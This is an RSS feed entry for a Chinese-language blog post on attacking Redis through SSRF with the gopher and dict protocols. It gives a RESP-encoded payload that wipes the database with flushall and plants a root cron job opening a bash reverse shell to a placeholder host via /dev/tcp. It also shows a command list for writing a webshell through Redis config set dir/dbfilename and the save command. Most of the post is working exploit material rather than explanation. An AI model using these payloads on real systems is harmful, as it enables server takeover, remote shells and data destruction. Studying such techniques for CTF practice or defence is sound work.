/tags/2025/Recent content in 2025 on chleynx's blogHugozh-cnThu, 09 Jan 2025 02:06:46 +0800/posts/ssrf%E6%89%93redis/Thu, 09 Jan 2025 02:06:46 +0800/posts/ssrf%E6%89%93redis/<h1 id="ssrf打redis">SSRF打redis</h1> <pre tabindex="0"><code>思路：常见方法使用gopher和dict，执行redis命令，然后通过redis命令达到目的。 </code></pre><h2 id="前置知识">前置知识</h2> <p>RESP 协议</p> <p>RESP 协议是 redis 服务之间数据传输的通信协议，redis 客户端和 redis 服务端之间通信会采取 RESP 协议 因此我们后续构造 payload 时也需要转换成 RESP 协议的格式</p> <pre tabindex="0"><code>*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i &gt;&amp; /dev/tcp/xxxxxxx/xxx 0&gt;&amp;1 *4 $6 config $3 set $3 dir $16 /var/spool/cron/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit </code></pre><h2 id="1写shell">1.写shell</h2> <p>直接通过redis执行命令写文件。</p> <pre tabindex="0"><code> commands = [ &#34;flushall&#34;, #清空redis f&#39;set:webshell:&#34;{shellcode}&#34;&#39;, #写入shell内容 &#39;set:dir:/scripts&#39;, #写入目录 &#39;set:dbfilename:visit.script&#39;, #设置镜像文件名 &#34;save&#34; #保存写入 ] </code></pre><p>一般为：<code>dict://&lt;host&gt;:&lt;port&gt;/info</code> 探测端口应用信息 执行命令：<code>dict://&lt;host&gt;:&lt;port&gt;/命令:参数</code> 冒号相当于空格</p>